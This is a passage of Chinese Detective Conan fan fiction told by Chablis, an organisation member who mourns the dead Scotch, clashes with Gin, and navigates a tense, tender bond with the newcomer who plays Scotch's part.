我早就已经习惯疼痛,但琴酒偶尔会被那种直白露出痛楚的反应弄得失去兴致,显然,这一次我的表演也成功了。
终于被放下来,我踉跄一步几乎跌倒,琴酒抓着我的后衣领把我提起来。
我莫名想起,那天在楼道里,琴酒也是这么拉了我一把。
我说脚断了不是演的,是真断了,大概是怕我跑,那些家伙打断了我一条腿,不过据我自己对断手断脚问题的经验,除了不方便挪动加上疼一段时间,除此之外没什么影响,四舍五入就是没有任何影响。
我觉得自己现在强得可怕,甚至可以踹飞琴酒。
琴酒像提垃圾袋一样提着我,稍微把我抬高了一点,我们几乎保持平视。
“扛着,拖着,背着,想怎么出去,你自己选。”
我皮笑肉不笑道:“你还真是个人渣。”
琴酒要是不来捣乱的话我现在自己就站在外边了,谁用得着他在那一副高高在上的样子用鼻孔看人。
我试图把自己衣领的控制权拿回来,但两天没吃没喝,多少有点虚弱,更何况在力量方面我本就胜不过琴酒。
我越想越气,行动有所限制不方便转头,我干脆就近咬住他的手腕,舌尖尝到了点血腥味,但琴酒还是没松手。
哦对,是啊,我差点忘了,琴酒也是在组织里长大的,同样深谙习惯疼痛之道。
在这个永远看不到天的尽头的组织里,琴酒走得比我更远,爬得比我更高,或许他本就比我更懂如何习惯疼痛。
我讨厌琴酒,更讨厌输给琴酒的感觉,所以我迟迟没有松口。
最终琴酒把我夹在臂弯里带了出去,就像是挎着一件破破烂烂的衣服。
那件租来的黑色风衣裹在我身上,把头盖住以后,远远看过去和拿了件衣服或许也没太大区别。
我不是不想抗争,我完全能自己走,但我真的很累了。
就这样吧,随便吧,反正我和琴酒之间的帐也不是一笔两笔那么简单了,既然算不清,那就无所谓再乱下去。
再醒来时,身上的衣服已经被换过,身上的伤也已经仔细处理好了,我扶着头坐起来,周围的一切我都很熟悉,因为这里是我的安全屋。
有人走进我的卧室,我有所感应般地抬起头,他一愣,手里的水杯刹那间落在地上,失声道:“夏布利!!”
新人快步走过来,单膝跪在床边抱住我,他的动作很轻,精准地避开了我的每一处伤,这种程度的体贴让我有点怀疑他是不是早就排练好了。
我感觉有点好笑,如果是真的早就排练好了,那这很有可能不是他摔的第一只杯子,我一会儿要去看看橱柜里还剩下几只杯子,再酌情奖励他对我的用心。
新人的手指收紧了两分,情绪十分到位,颤声说:“您终于醒了,我很担心您。”
假的,他担心的是再也没有像我这么合脚的垫脚石。
“看到您醒过来我就放心了。”
又是假的,他绝对想过我要是就这么死了他就能直接继承我的一切,但考虑到组织里其他人大概率并不买账,经过深思熟虑,他最终应该还是更希望我能醒过来。
我开始养病,在我眼里那倒都是小伤,也就是断了的脚目前有点影响走路,其他一切正常,但新人总是一副紧张兮兮的模样,这也不让我做那我不让我做,好像我是一个废物布娃娃。
这种生活实在是太无聊了,一周后,我接了个任务,新人竟然生气
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了。
我看着次卧紧闭的房门和空空如也的杯子,陷入沉思。
没记错的话,我才是上司。
那为什么我看起来一点地位都没有??
不过苏格兰生气的样子也很好看,也就跟新人以下犯上的问题正负抵消了。
第二天早上,新人准备早饭时,我靠在厨房门口开始无病呻吟:“太无聊了啊太无聊了,再这样下去我就要发霉了。”
新人“唰唰唰”切菜的声音一停,转过身,眉头紧锁:“难道您就没有除了做任务以外的娱乐方式吗?现在去做任务风险太大了。”
我下意识地就想说“一个任务能有什么风险”,但触及新人的目光,我到底是没把那句话说出口。
太像了,太像过去苏格兰严厉训导我时的模样,让我有点想去拉住他的手道歉。
但那样有违我身为上司的尊严,我轻咳一声别开视线,声音却无意识地降了两度:“知道了,我去找点除了做任务以外的乐子。”
新人叹了口气:“我只是担心您。”
我一愣,再回过头时他已经回身继续处理起食材。
最终我还是没继续追问下去。
我有点没分清他最后那句话到底是真话还是假话。
***
防止新人再跟我闹脾气,我不能去做任务,就只好开始寻找其他能打发时间的事。
最终我还真想出来一个和任务无关的娱乐方式。
我发了两条短信,定好时间地点,哼着小曲出门。
诸星大到的比我早,我对这种识时务的态度十分满意。
他总是将自己掩饰得很好,如果不是我走进天台的那一刻他的目光迅速从我身上最严重的几处伤扫过,我大概就真信了他的恭敬。
“您找我来有什么事?”
我笑了笑,走到他面前,抬手摸了一下他的头发。
他的表情立刻变了,“我有女朋友。”
切,有就有呗,炫耀个什么劲。
我大发慈悲地忽略他的废话,发丝从指尖穿过,一如既往地柔顺,我的手向下滑,最终落在了他的肩上。
我再度向前走了一步,我和他之间距离也随之被压缩。
他的表情逐渐染上了审视和揣度,但脚步却没动,以我对他的约等于零的认知一样,他不是一个会轻易退步的人,同时他也热衷于用事态的一切变化赢取新的机遇。
要是问我为什么会知道,那我只能说,我已经认识琴酒很多年了,琴酒以前也有过这么一段这种无聊的状态。
诸星大按住我向他颈侧挪动的手,声音微冷:“如果你有需求,建议直接找本尊。”
什么本尊?不过不重要,他竟然忘了用敬语,还真是有趣。
“少废话。”
我按着他的肩膀,目标明确地凑近他颈侧,有发丝擦过我的脸颊,我摇了下头扫开那头长发,张口咬下去。
他并没干脆地推开我,只是用手掌隔开了最后的距离,那大概是他的底线。
我勾了下唇,在他耳边轻声道:“欢迎你加入这场无聊的游戏。”
诸星大似乎并不在意我咬的那一口,反而更在意我说的话,他单手按住我的肩膀,追问道:“游戏是什么意思?”
“字面意思。”
他的手压到了我肩上的伤,我没管他那只手,嘴角的弧度抑制不住上扬:“菜鸟,你不会天真到以为是个人就能踩着我上位吧?”
用锤子找我换任务,没换成就迅速找琴酒达成交易,在那家伙眼里,我和那把锤子没有任何区别都不过是一枚筹码。
放在平常我可能也就忘了,但偏偏我最近非常闲,左右闲着也是闲着,干脆给某些不知道天高地厚的新人一点教训,让他长长记性。
有人突然推开了天台的门,我转过身,看向那个如期而至的家伙,笑吟吟道:“诶,你来的可真不是时候。”
——不,时间刚刚好。
一见到琴酒,诸星大迅速收回了按在我肩上的手,我笑了一声,不紧不慢地收手。
琴酒的毛病一大堆,跟他保持这种关系最初并非我所愿,不过都这样了,也无所谓了。
这段关系持续了十几年,从十八岁到二十九岁之间竟然没有任何变化,于是也我可以轻松获得一些情报。
琴酒对我和别人亲密接触这件事一向反应很大,我也是搞不懂了,他要跟别人上床那我绝对懒得搭理的,他却对我身边出现的一些暧昧邀请十分敏感。
大概是因为洁癖吧,自己用过的东西就不想让别人用,我倒是无所谓琴酒怎么做,毕竟我从一开始就不准备和任何人上床,和琴酒保持这种畸形的关系也不是为了欲望或利益,而是为了苏格兰的遗书。
总而言之,能看到两个狼狈为奸过的绿眼睛长毛怪结怨,那一定是一出好戏,这就是我群发短信的原因。
如我所想,琴酒的脸色不太好看,对此我相当满意,正要开口添把火,琴酒忽然侧头看了眼身后,我下意识地跟着瞥了一眼。
下一秒,我笑容彻底僵在了脸上。
代号苏格兰的青年缓缓从阴影中走出来,目光平静,眉头却已经蹙起。
他什么都没说,定定地看着我,目光有一瞬越过我落在了诸星大身上。
“我来的不是时候。”
琴酒冷笑一声:“那他来的是时候吗?”
13.十三封遗书
如果那扇门走出来的是苏格兰,那我绝对就要慌了。
但那个人既是苏格兰,又不是苏格兰。
其实我有点惊讶,我竟然没有想象中那般自乱阵脚,于是我再次被自己的本能提醒,那根本不是我的苏格兰。
原本是想要消遣几分才出这次门,弄到最后反倒是愈发烦躁起来了,我没好气道:“你有病啊?你把他喊来干什么?!”
琴酒冷笑:“你让我过来是干什么,我让他过来就是干什么。”
“……啧。”
我没再接琴酒的话。
倒不是心虚,我跟琴酒能有什么好心虚的,这么多年了不一直都是互相利用、互戳痛处,琴酒总用苏格兰激我,我随便找个人耍他一下怎么了,又不是第一次这么干了。
诸星大轻咳一声,试图把在场的人的注意力转移到他身上,他用指尖捏着我的袖口,小心地把我搭在他肩上的手臂提起来挪到一旁:“这显然是一场误会。”
他在“误会”这个字眼上刻意加重了几分读音,仿佛是在强调什么,又好像是在提醒在场的人这是个显而易见的圈套。
那两人的目光不约而同地落在诸星大身上,琴酒扫视了一眼诸星大,目光忽然一凝,诸星大先是不解,而后面色一僵,迅速捂住了颈侧。
诸星大说:“这个问题我觉得我能解释。”
我耸耸肩,意外牵动了某两道伤口,不过那种程度的痛感对我来说和没有也没什么区别。
诸星大也是没长脑子,谁会在乎起因经过,像琴酒那种生性多疑的家伙连自己亲眼看到的东西都做不到全信,更何况是其他人的几句话。
尤其琴酒绝对看得透我的计划,但就像他用苏格兰来戏弄我百试百灵一样,我知道我的消遣计划的结果已经定下。
总之我的目的已经达成,在这里继续吹冷风也没什么意思,我大摇大摆地拉着新人离开天台。
吹吹冷风不算什么,我自己倒是无所谓,琴酒要是能吹死了更好,但我怕把我的新人吹感冒了。
琴酒和诸星大后来又说了什么不得而知,我也懒得关注两个不值得放在眼里的家伙,不过我觉得事情的走向会合我心意。
琴酒就是那样一个人,我们纵然针锋相对、水火不容,但预判他的动作对我来说并不难,可能这就是守旧派以前总威逼利诱地想让我出力跟他们一起扳倒琴酒的原因之一。
我走在前面,哼着小曲拉着新人,新人突然停下了。
我转头看向他,用眼神发出询问,新人迅速往下走了两个台阶,问道:“脚腕没关系吗?”
“哈?”
我用力跺了两下脚,除了疼以外没有任何问题,不知道他究竟在担心个什么劲,不过我对那种担忧的目光相当受用。
“骨裂而已,你太大惊小怪了。”
“您真的是……”新人叹了口气,半蹲下身:“我背您吧。”
我倒是不觉得自己有残废到那种程度,但是我挺想让他背背我的,于是我兴致盎然道:“好啊!!”
我趴在新人的背上,触感和记忆中不太一样,也是,新人比当年的苏格兰大几岁,苏格兰死在十八岁,而新人如今已经二十二岁了。
我此刻靠着的肩膀比昔日苏格兰的肩膀更宽阔一点,但同样温暖。
我有点不太确定,毕竟在这种季节,和谁靠在一起大概都会滋生出暖意,连琴酒那种家伙都不例外。
我问他:“天气这么冷,怎么还跑出来?”
新人沉默了一会儿,把我的话原封不动地复述了一遍:“天气这么冷,怎么还跑出来?”
我伏在他肩上低笑起来:“你生气了吗?”
直到抵达安全屋,新人始终没有正面回答我的问题。
无聊的生活回归正轨,我仍旧在安全屋里等待发霉,新人的存在对我来说就是生活中最好的调味剂,我尤其喜欢他的声音,但自从对我的问题保持沉默的那段路后,新人几乎不再主动同我开口讲话。
我对苏格兰偶尔流露出的漠然也很着迷,但那不代表我喜欢无时无刻直面那种拒不回应。
一周后,我找到了新人的朋友。
一开始我没想起来那家伙叫什么名字,想到最后也就记得是个金毛,于是我去组织里一些家伙常聚的酒吧里坐了一会儿,随便找了个人问:“那个谁,那个金毛叫什么来着?”
“夏布利?真是稀客,听说你前段时间拎着锤子在这里骂琴酒是傻逼让他赶紧写遗书。”
我的话音停了一秒钟。
我很想表示那不是我,但是那的确是我做得出来的事。
“别扯那些没用的,那个金毛叫什么来着,我赶时间。”
“你要找贝尔摩德?”
“……男的金毛!!”
真是疯了,这个酒吧是个八卦生产基地,要是谣言传到最后演变成我四处找贝尔摩德还叫她金毛,被那个女人知道了绝对没好事。
“哦哦哦哦哦,我知道了,你说的是不是波本?你看上他了?”
那个家伙又开始自说自话:“你又换口味了啊,眼光倒是一如既往地不错,从来不选粗制滥造的家伙。”
“说的什么屁话,就是因为把注意力都放在八卦上,才这么多年都混不出头。”
我转身正要走,身后传来一道声音:“听说你的脚腕骨裂了。”
我脚步一顿,转过头:“哦?”
“我知道波本现在在哪,要不要久违地坐下来一起喝一杯?”
“啧……”
我三两步走回吧台,端起酒杯一饮而尽,用眼神催促对方赶紧交代情报。
“你还真是一如既往地没有耐心。”
“你还真是一如既往地爱说废话。”
其实我有点惊讶这个家伙竟然好好地在组织里混着日子,毕竟在我的认知里他应该早就死了。
苏格兰的朋友——我真不想用这个称呼来形容一个人,但那姑且曾经算是苏格兰的朋友,后来在我的设计下他们终止了来往,事成之后我也理所当然地迅速切断了跟那人的交集。
我以为那家伙早就死了,那也只能祝愿他早点死了,没了苏格兰,我不想跟那家伙扯上关系。
按照拿到的地址,我找到了波本打工的地方。
真稀奇,朗姆那边的福利待遇竟然有那么差,我还以为酒二代们都有钱没地花。
波本站在收银台后,灿烂的笑容像是被焊在了脸上:“这位客人,请问您有什么想买的呢?”
我抱肘淡淡道:“先买你两个小时。”
那个金毛的笑容裂开了一丝缝隙。
总而言之,我顺利买到了波本的两小时,这么一想,便利店这个地方还真有趣,什么都能买到。
“您找我是有什么事吗?”
我找他还能有什么事,当然是因为新人。
“苏格兰最近心情不好。”
波本的第一反应是:“不是我惹的!”
我略带嫌弃地看着那个金毛,还是怎么看都不顺眼,加上那个背景,朗姆手底下的走狗,越看越想给他一拳,防止新人闹脾气的程度再上一层台阶,我暂且按下了这种冲动。
我不免有些感慨,自从新人来到我身边,我为人处事都温和了几分。
“我又没说是你惹的,那么激动干什么。”
波本试探性道:“那您找我来是……?”
“让你想办法啊,你不是他朋友吗,怎么才能以最快的速度把他哄好。”
我知道该怎么应对苏格兰的一切情绪,但不知道该怎么应对新人突如其来的冷淡,他仍旧体贴,也仍旧会关注我的伤情,但给人的感觉就是平白隔出了一段距离。
或许再多仔细想想我也能找出解决的办法,但大概是因为那天在天台上我的本能反应影响到了我的态度,于是连带着我近期对新人的纵容都敷衍了两分。
波本思索了几秒,斟酌开口:“您为什么不直接问苏格兰呢?”
废话,新人要是能好好回答我的问题我还至于找这个金毛吗?!
我刚要说话,波本又说:“恕我直言,您直接下命令的话,无论是回答问题还是别的什么,苏格兰应该都会执行吧。他的一切不都是您赋予的吗?”
我盯着波本,那双灰紫色的眸子含着笑意,毫不避让地同我对视,我莫名就很想笑,我也的确笑出声了。
我从钱包里随意抽出一张银行卡扔在桌子上,起身道:“密码去问苏格兰。”
“感谢您的惠顾。”
我“嗤”了一声,转身大步离开,
我讨厌情报贩子,当年苏格兰的那个朋友是,今日的波本同样如此,但就像我喝了那杯酒拿到了波本的情报一样,给了波本那张卡,交易成立,也就代表我接受了波本的建议。
我是新人的顶头上司,他理所当然该对我唯命是从。
我一直不舍得对他太过苛刻,因为我觉得那是苏格兰,就算不是昔日的苏格兰,那终究也是我一手栽培扶持出来的苏格兰。
他一直都做得很好,从相遇那天开始我就尽可能地想在他面前维持一个更加温和可靠的形象,虽然整体来说并不算成功,但是可能就是因为这样,他才会忘了彼此的身份。
我能忘,但他不该忘,就像一直以来他都对我保留了最后的敬语。
在我面前他从不说“你”,一直都是说“您”,我早前用了很多办法想让他改掉这个毛病,正如我一点一点让他改掉了其他敬语一样,但听习惯以后,那成了独属于他的特征。
我希望新人越来越像我的苏格兰,但我要区分开新人和苏格兰的区别,所以那个称呼上的不同也算好用,我也就随他去了。
回到安全屋时天色已经暗下来了,浪费了一个下午见了两个情报贩子,有点晦气,但一打开门看到新人的背影,我的心情一下子又好起来了。
——如果不是他今天也没有回头看过来,那我应该会更高兴。
我走向客厅,倒是没有不满,但多少有点遗憾。
从前新人为了讨好我,他会坐在沙发上等我回来,然后在我推开门的瞬间转过头,给我呈现一副调整过角度的最为温馨美好的画面。
我不知道到底是哪里变了,又或许是因为哪里一直没变化,时间太久,以至于发生病变。
我开始思索,那我究竟要不要把病灶挖掉。
我很少会研究除了苏格兰以外的人和物,除了苏格兰以外的东西永远无关紧要,不值得我浪费心思,但这个人偏偏不太一样,他不是苏格兰,却又是苏格兰。
其实只看背影也不错,追随苏格兰的那些年里,我总是注视着苏格兰的背影,但一与那双眼睛对视上,我就不满足只是看着背影却无法真正靠近。
一股无名火涌上心头,我的脚步重了几分。
新人终于转过头看我,目光却落在了我的脚上,
我面无表情地略过他,径直回了卧室。
一躺下我就后悔了,干嘛要跟新人一般见识,他一直那么努力,还为我拿回了那个尘封了十几年的代号,纵然其中有我的运作,他也绝对功不可没。
哪怕是他的存在本身,对我来说已经是一种恩惠。
但我还是不想坐起来去找他。
明天吧,明天再去,给他一个更好的任务,答应他的其他要求,怎么都可以,病灶并不需要挖掉,临死之前那是身体的一部分,正如会感到疼痛是与生俱来的,不该被摒弃。
深夜,有人推开了我的房门。
我刹那间恢复意识,却没动,毕竟能悄无声息地摸进我的卧室的人也就那一个,我想看看他大半夜不睡觉究竟是想做什么。
那个人影的动作很轻,在床尾俯下身,而后认真查看了一番我打着绷带的脚腕。
他似乎叹了口气,又像突然反应过来什么似的迅速捂住嘴,连带着呼吸都调整得极其克制,起身小心地往外走。
我开口道:“把灯打开。”
他吓了一跳,骤然转过身,但声音仍旧下意识地压低下来:“我吵醒您了吗?”
我叹了口气,干脆直接坐起来,重复道:“开灯。”
新人慢半拍地按下了一旁的开关,固定在天花板上的白炽灯随之亮起来,将整个空间点亮。
我招了招手,示意他过来。
他安静地朝我走过来,正如同他放轻脚步推开我卧室的门时的模样,轻手轻脚,像是一只温驯的猫。
“坐。”
他犹豫了一秒,但还是按照我的指示坐在了床边。
“说吧
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他面露疑惑,仿佛在说:不是你让我留下来的吗?
即使知道那是刻意做出的模样,我也还是忍不住摸了摸他的眼尾,轻描淡写道:“随便说点儿什么,你总不至于只是想来我的房间转一圈吧。”
“随便什么都可以吗?”
“随便什么都行。”
当然了,他说什么我都爱听,真话假话无所谓,真情实感还是敷衍利用更无所谓,我只是想多听听那道声音。
“夏风,这是您的名字吧。”
这倒是个有些出乎意料的话题。
我微微颔首,算是表示认同。
新人说:“您从来没问过我是怎么知道您的名字的。”
我微笑道:“如果你想说的话我都会认真听,就像现在这样。”
他沉默了一会儿,我不知道他在纠结什么,最终他缓缓说道:“您认真听只是因为想听我的声音,并不在乎我说的是什么。”
就是这么神奇,明明是带着点质问的话语,被他说出来却如同清泉般悦耳。
我并不认同他的话,但我仍旧听得很高兴。
“因为在电话里琴酒这么叫过您,所以我猜这或许是您的真名,我用这个名字称呼过您一次,您没有反驳,我想大概率真的是真名。”
我点点头,示意他继续说。
“您知道我的名字吗?”
这一次,我没有回答。
他半敛着眸子,轻叹着说:“您不知道,也不想知道,因为您不在乎。”
这个并不算有多宽阔的空间内的空气沉寂了一瞬,仿佛刹那间被抽成真空,又在刹那间复原。
我突然就有些烦躁,音量无意识地提高了两度:“难道你在乎吗?你不也更喜欢苏格兰这个名字吗?能够被我庇护,能够理所当然地利用我,能够以最快的速度在这个组织里爬得更高——我们的目的是一样的,既然如此,你又何必说那些无关紧要的话。”
我一直以来主动略过的东西,他又何必主动提起。
他抬起头,那双眸子一如既往地宁静如湖泊,于是连带着我的情绪波动瞬间平缓下来。
“您希望我更像那个人,却又希望两者之间有所区分,我曾经对您说过,其实这很简单,只要和我做一些和那个人没做过的事就可以了。”
新人直直地看向我,目光不加任何掩饰,以最直白、最具有攻略性的视线看过来,说道:“三秒钟后我会吻你,你可以躲开,可以推开我,杀了我也可以,怎样都可以,那是你的权利,但是三秒钟后我会吻你。”
说着说着他竟然真就直接开始倒数上了:“3——”
“喂,你……”
“2——”
“你!!”
我攥着那个不好好听人讲话的家伙的领口用力一拉,用最简单的办法打断了那个毫无意义的倒计时,捂住他的嘴把他按倒在床上。
“给我好好说敬语!!”
以前我总想让他放弃敬语,威逼利诱之下别的都改的地方差不多了,他偏偏在“您”和“你”这个称谓问题上始终不肯退让,等到他真的对我说了“你”的时候,我却反而更想听他对我说“您”。
我看着他,不知道该说什么,最终只干巴巴地说了一句:“别忘了你的身份。”
我双手捂住他的嘴,遮住了他的下半张脸,但仍旧能从眉眼间看出他神情中逐渐漫开的笑意。
不对,奇怪。
他看起来竟然很高兴。
新人抬起手,单手揽住我的脖子,稍微用力向下压了压,我被迫弯腰,我们之间的距离也随之被压缩。
我的嘴唇擦过我按在他嘴上的手背,我忍不住皱眉,他又用空闲的那只手覆盖在我的手背上,却没施加力量,也没有想把我的手挪开的意思,只是普普通通地重叠在一起。
我直起身坐起来,仍旧想给他最后一次假装什么都没发生过的机会:“你会失去特权,新人,我敢打赌天没亮的时候你就会后悔,别到时候又来求我。”
我没把话说太满,毕竟他要是真求我那我绝对会原谅他,有那样的一张脸、那样的嗓音、那样的个性,无论他做什么我都会原谅他的。
新人把我按在他脸上的手拿起,却没甩开,握着我的手问:“是吗?那个人也后悔过吗?”
“……”
明明还是那道如清泉般的声音,今晚却接二连三地点燃我的火气,我一再提醒自己不要真对他发火,却抵不过一次又一次情绪的叠加。
我磨了磨后槽牙,抓住他的领子把他提起来,怒道:“够了!你到底在闹什么脾气?别以为我宠着你你就可以为所欲为!”
新人缓慢地眨了眨眼,神色透出无辜的同时中又夹杂进了几分迟疑,小心翼翼道:“对不起,我以为如果是那个人的话,应该会因为之前天台那件事情生气,所以我才……”
“……”
我像是被摄取了灵魂,猛然怔住了,机械性地张了几次口,却始终没能真的说出话来。
说实话,我有些震撼,或许是因为太过震撼,以至于鼻腔竟然逐渐泛上酸意。
是啊,如果是苏格兰的话他一定会生气的,就像那时候我故意离间他和那个情报贩子,我的目的达成后苏格兰冷了我足足一周多,逼得我故意在任务里受了伤,情况才有所缓和。
比起生理上的疼痛,我更怕苏格兰不理我,他仍旧会温柔地为我处理伤口,却怎么都不对我笑也不主动和我讲话。
我用力眨了下眼,确保自己不会露出太失态的表情,狼狈地别开视线,低声说:“你……”
一开口我才发现自己声线颤抖,我深吸了一口气,这才勉强能继续说下去:“你做的很好,很好,你真的……”
在抑制不住哽咽之前,我及时止住了话音。
新人起身抱过来,手指穿过我的发丝,动作小心地把我的脸压在他颈窝,甚至连这时候他都不忘避开我身上那几道迟迟没能愈合的伤。
“太好了,我最近一直担心自己做得不够好,听到您这么说我就放心了……我会继续努力的,夏布利大人。”
他轻轻拍了拍我的背,附在我耳边轻声道:“那么在我通关之前,可以不要再让其他人加入这场游戏了吗?”
“……好。”
14.十四封遗书
那个人越来越像苏格兰了,但在我眼中,他与苏格兰的区别反而越来越清晰。
我偶尔会有些佩服他,毕竟演技这种东西磨练到最后无非就两种境界,一种是让人看不出你在演,一种是让人知道你演得很好。
新人饰演苏格兰的状态介于两种境界之间,在训练营里听到他的枪声时我就已经开始觉得熟悉,仅仅只是一道枪声就已经让我无法不去抬头仰望他,而对上视线的那一刻,我的脑海里顷刻间只剩下那个已经尘封了十一年的名字。
哪怕什么都不做,他就已经很像了。
我把他带回安全屋,抑制着把一切都送给他的冲动一点一点将我拥有的权利和地位分给他,在我的纵容下他试探性地向我展露出他自己的个性,于是我又发现,除了外貌,他竟然连个性都和苏格兰带着几分相似。
他的野心越来越明显,在我面前扮演苏格兰也愈发得心应手,他不求演到没有任何表演痕迹的程度,又或许其实他的目的就是让我知道他正在为我扮演苏格兰,既然他为我付出了,那我也理应回以他报酬。
我一直理所当然地认为这场交易里我付出的代价更大,于是在天台上的那阵冷风吹过后,我为他的漠然而感到不耐烦,但在昨晚,他坦白说出的话让我灵魂一震。
苏格兰拥有属于自己的情绪,他会因为我的错误而故意冷落我,因为苏格兰知道比起其他,就那样忽略我才是对我最大的惩罚,而在十一年后,我却下意识地觉得,扮演苏格兰的新人能带给我的、被允许带给我的只该有温柔和讨好。
揭开谜底的那一刻我甚至有一瞬生出恐惧,随后是迅速漫上心头的惊喜,一个人为达目的竟然能做到那种程度,而仅仅只是依靠我透露出的一些属于苏格兰的特质,他竟然就能将昔日的苏格兰分析解读到那种程度。
如果是那个人的话,他未来一定还能扮演得更好,而在他精湛的演技下,我能够清晰地认知到他只是在扮演苏格兰而并非苏格兰本身。
有些东西不必分清,有些东西必须分清,没有比目前再好的状况了。
我必须承认,新人的计划比我的计划更加完美。
***
新人早早就出门了,我在床上一直躺到了中午。
昨晚新人睡在我的房间,我以为身旁有个人我会睡不着,最终出乎意料地睡得很不错,这种出乎意料让我在独自醒来后的几小时内感到茫然,几个小时后才想起,其实新人早就像那样和我躺在一起过,没什么值得意外的。
我的注意力一下子转移了,新人还没解释为什么之前要跟我一起挤在沙发上睡觉,不过仔细想想,一个人能在我睡着时接近然后跟我躺在一起我却毫无察觉,这个问题才更值得思考。
望着天花板又多想了一会儿,我又开始觉得那些都不重要。
我干脆起床去吃早餐,新人一定是把早餐准备好以后才出的门,他一直都很体贴,即使是在扮演苏格兰的生气状态时也同样如此。
这个世界上能让苏格兰气到不给我饭吃的事情根本不存在。
况且苏格兰已经死了,就算真有,也已经无法实现了。
我有时候会忍不住感慨,自己有朝一日也能对苏格兰的死表现得如此平静,十一年前,第一次从琴酒那里得知这个消息时,我习惯性地觉得那又是从小到大最熟悉不过的诓骗,毕竟琴酒还是黑泽阵的时候就不止一次会骗我说苏格兰死在了某场训练里。
或许是真的有所感应,冥冥之中自有天意,我第一次没信所谓的死讯,结果唯独那一次是真的。
一直走在我前方的仿佛无所不能的苏格兰,只要追随他就没有什么地方我无法抵达的苏格兰,琴酒骗我的次数太多,以至于我差点忘了,苏格兰也是人,苏格兰也会死。
或许我真正令我始料未及的是,苏格兰会死在我死之前。
我甘愿为苏格兰而死,我更渴望成为苏格兰手下的亡魂之一,但他死在我死之前。
那时候我以为我也会死,追随苏格兰的脚步是我经年累月养成的本能,苏格兰死了,除了去死我想不到别的路,苏格兰是我一切的向往和欲望,可惜最终我没死成。
如果不是琴酒跳出来横插一脚,我和苏格兰早就已经团聚了。
果然,无论怎么想都是琴酒的错。
我打开冰箱,一如既往地看到里面贴着的便签纸,将便签纸拿出来后顺手关上冰箱门,等在餐桌旁坐下后我才后知后觉地反应过来,自己忘了把早餐拿出来。
我没直接起身,而是仔仔细细翻看起那张便签纸,然后逐字反复查看上面的字迹。
比起早餐本身,我更在意那张便签纸,而比起便签纸上的内容,我更在意上面的字迹。
新人的字和苏格兰的字迹很像,乍一看时足以以假乱真。
从前新人没有留纸条这种习惯,自从我问过他一次为什么要留便签纸,新人就立刻抓住重点,像是玩扑克牌一样热衷于给我发放不同的便签纸。
他大概是在试探我究竟是想看到什么样的留言,但其实他不必想太多,就像他说什么话我都爱听一样,无论他留下什么样的字条我都会妥善保存。
新人做一件事时总是看起来仿佛毫无保留,但每当我以为这就是他的全部时,他又能拿出新的东西拿捏我的命脉,让我不受控制地想为他做更多。
其实我明白,不是新人能拿出来的东西太多,而是我和苏格兰之间的回忆太多,一点一滴积攒在一起,那是整整十一年的相互扶持和陪伴,也是遗失了整整十一年的梦境和泡沫。
新人比我小七岁,他大概想不到,苏格兰总是给我留纸条是因为我们没有通讯设备能时时交流,那个年代手机还未普及,我和苏格兰也不是随便就能买到手机的人,但新人愿意为我花这份心思,我总归都是高兴的。
我不知道新人有没有意识到其实我在意的是他的字迹,他那么聪明又那么敏锐,能猜到也不足为奇,更何况无论猜没猜到对我和他都没有任何分别。
我拿着便签纸回到卧室,拉开抽屉,里面放着新人留给我的全部字条。
我翻看挑选了几张,用剪刀把其中几个字符剪出来。
【愛してる】
我盯着那几个字符看了一会儿,伸手快速将它们打乱。
毫无疑问,我爱苏格兰。
第一次对苏格兰表露心迹是他教我认字的时候,我跟两个会写点儿字的家伙打了一架,让他们教我写字,生怕他们写得不对,后
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来我又随机找了个家伙打架,让他确认前两个人写的对不对,最终就这么拼拼凑凑地写出来一个【愛してる】给苏格兰。
苏格兰看了以后对我说,【愛】这个字写错了。
我很清楚我在期待什么,哪怕他只是在我面前念出那几个字也足够我雀跃,但是我没能从苏格兰口中听到那几个字的读音,也没能从苏格兰手里拿到那张写着正确写法的字条。
爱苏格兰是刻在我骨子里的本能,但在彼此之间带着占有欲的那十一年里,苏格兰从未说过爱我。
我靠坐在床边,忽然有点想抽支烟。
扔在床头柜上的手机不合时宜地响起来,我头也不抬地把手机捞过来按下接通,烦躁道:“谁啊?!”
“是我。”
“去死!”
我把刚刚剪下来的碎纸片一并扔进垃圾桶,一松手又立刻反悔了,拧着眉头用肩膀和脸颊夹着手机,把纸片一点一点捡出来放进抽屉里。
有的部分剪的太过细碎,我全神贯注地翻着垃圾,生怕漏掉了哪片。
琴酒没说话,我暂时没腾出手来,就也先没挂断。
垃圾桶翻着翻着我莫名生出几分恼火,转头时手机还不小心掉进了垃圾桶里,我做了个深呼吸,终究还是气不过,用力锤了垃圾桶一拳。
琴酒像是终于想起来打了这通电话一样,发出一声疑问:“嗯?”
纸片不好找,手机那么大一个找出来可没有任何难度,我一把抓出手机大声道:“都是你的错!”
琴酒的声音一出现我就想起他对我说过的那些死讯,苏格兰死前的十一年里,琴酒对我说过最多的话就是苏格兰死了,以至于时至今日,每当听到琴酒的声音,我仍旧会下意识地想起那句话。
是琴酒告诉我苏格兰死了,也是琴酒告诉我苏格兰留下了遗书。
为什么苏格兰死了?
为什么我还活着?
为什么总是无法得偿所愿?
手机里传出一道冷淡的声音:“下楼。”
“你让我下楼我就下楼,我他妈是狗吗?!”
玄关处突然传来两道不急不缓的敲门声,我怒气冲冲去打开门,一张我绝对不想见的脸出现在门外。
鬼知道那家伙刚刚到底是在哪里打的电话!
琴酒慢条斯理地挂掉电话,却没结束电话中的那段对话:“你不是吗?”
我看着那张惹人厌烦的脸,莫名其妙笑起来:“真该死啊……”
无论是我还是琴酒,早八百年就该死了。
可最先死掉的那个人偏偏是苏格兰。
“我讨厌你……所以说我才讨厌你。”
一直见不得我好过,一直妨碍我紧跟苏格兰的脚步,一直活到二十二年后的今天竟然还没死,一直用虚无缥缈的遗书钓着我让我无法畅快地去死。
门砰的一声合上,我被迫背靠在门上,咬牙侧头避开愈发靠近的另一道呼吸。
“你是故意的吧,故意让我把那个字写错等着看我笑话!”
琴酒动作一顿,似乎有些诧异:“你连那种仇都记?”
我怒道:“你他妈绝对是故意的!!”
他笑了一声:“是吗?谁知道呢?”